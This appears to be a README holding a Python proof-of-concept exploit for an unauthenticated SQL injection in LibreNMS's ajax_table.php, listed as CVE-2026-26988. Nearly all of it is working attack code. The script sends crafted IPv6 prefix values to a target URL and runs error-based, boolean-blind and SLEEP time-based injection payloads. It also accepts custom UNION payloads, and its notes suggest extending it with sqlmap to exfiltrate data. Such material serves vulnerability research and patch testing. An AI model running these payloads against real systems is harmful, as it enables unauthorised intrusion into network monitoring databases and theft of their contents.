README.md
Rendering markdown...
#!/usr/bin/env python3
# Exploit Title: LibreNMS ajax_table.php IPv6 SQL Injection
# CVE: CVE-2026-26988
# Date: 2026-02-20
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://www.librenms.org/
# Software Link: https://github.com/librenms/librenms
# Affected: LibreNMS <= 25.12.0
# Tested on: LibreNMS 25.12.0 (PHP 8.1 + MySQL)
# Category: Webapps
# Platform: PHP
# Exploit Type: Remote SQL Injection (Unauthenticated)
# CVSS: 9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N
# Description: Unauthenticated SQL injection in ajax_table.php when search_type=ipv6.
# The ipv6_prefixlen value is concatenated unsafely into SQL allowing
# arbitrary query injection via single-quote breakout in the prefix part.
# Fixed in: LibreNMS 26.1+ (commit 15429580baba03ed1dd377bada1bde4b7a1175a1)
# Usage: python3 exploit.py <target> [--test] [--boolean] [--time] [--payload "..."]
#
# Examples:
# python3 exploit.py http://192.168.1.50/librenms --time
# python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT @@version -- "
#
# Options:
# --test Basic syntax error test
# --boolean Boolean-based blind confirmation
# --time Time-based blind confirmation (SLEEP)
# --payload Custom injection string after the /
#
# Notes:
# - Most effective when ajax_table.php is unauthenticated (common default config).
# - Time-based is usually the most reliable detection method.
# - For real exploitation (data exfil, etc.) extend with sqlmap or custom payloads.
#
# How to Use
#
# Step 1: Run with --time to confirm vulnerability via delay:
# python3 exploit.py http://target/librenms --time
print("""
╔══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ CVE-2026-26988 - Proof of Concept ║
║ ║
║ ║
║ Author ............ Mohammed Idrees Banyamer ║
║ Country ........... Jordan ║
║ Instagram ......... @banyamer_security ║
║ Date .............. February 20, 2026 ║
║ ║
╚══════════════════════════════════════════════════════════════════════════════╝
""")
import sys
import requests
import argparse
import time
def send_request(url, payload):
start = time.time()
data = {
"id": "address-search",
"search_type": "ipv6",
"address": f"2001:db8::1/{payload}"
}
try:
r = requests.post(url, data=data, timeout=15)
elapsed = time.time() - start
return (r.status_code, r.text[:400], elapsed)
except requests.RequestException as e:
return (False, f"Request failed: {e}", 0.0)
def main():
parser = argparse.ArgumentParser(description="PoC for CVE-2026-26988 (LibreNMS SQLi)")
parser.add_argument("target", help="Base URL of LibreNMS (e.g. http://example.com/librenms)")
parser.add_argument("--test", action="store_true", help="Basic injection test (causes syntax error)")
parser.add_argument("--boolean", action="store_true", help="Boolean-based blind test (true/false)")
parser.add_argument("--time", action="store_true", help="Time-based blind test (SLEEP)")
parser.add_argument("--payload", type=str, default=None, help="Custom payload after /")
args = parser.parse_args()
base_url = args.target.rstrip("/") + "/ajax_table.php"
print(f"[*] Targeting: {base_url}")
print("[*] Using search_type=ipv6 → vulnerable ipv6_prefixlen concatenation\n")
print("[>] Sending baseline request (no injection)...")
code, text, elapsed = send_request(base_url, "64")
print(f" → Status: {code} | Time: {elapsed:.2f}s | Snippet: {text[:120]}...\n")
if args.test or not (args.boolean or args.time):
payload = "64'-- " if not args.payload else args.payload
print("[>] Basic injection test (expect syntax error / 500 / error message)")
print(f" Payload: address=2001:db8::1/{payload}")
code, text, elapsed = send_request(base_url, payload)
print(f" → Status: {code} | Time: {elapsed:.2f}s")
print(f" → Response snippet: {text}\n")
if "error" in text.lower() or "sql" in text.lower() or code in (500, 400):
print("[!] Likely vulnerable — syntax error / SQL leaked!\n")
if args.boolean:
print("[>] Boolean-based blind test")
payload_true = "64' OR 1=1 -- " if not args.payload else args.payload
print(f" True payload : /{payload_true}")
_, _, t_true = send_request(base_url, payload_true)
payload_false = "64' OR 1=2 -- " if not args.payload else args.payload
print(f" False payload: /{payload_false}")
_, _, t_false = send_request(base_url, payload_false)
print(f" → If vulnerable, true should return results, false should return empty/different.")
print(" Compare response content manually (or length/status/code).")
if args.time:
print("[>] Time-based blind test (SLEEP)")
payload_delay = "64' OR SLEEP(6) -- " if not args.payload else args.payload
print(f" Delay payload: /{payload_delay} → expect ~6+ seconds")
_, _, elapsed = send_request(base_url, payload_delay)
print(f" → Response time: {elapsed:.2f} seconds")
if elapsed > 5.5:
print("[!] Vulnerable — time delay confirmed!\n")
else:
print("[ ] No significant delay — may be patched / WAF / not vulnerable\n")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Error: Target URL required.")
sys.exit(1)
main()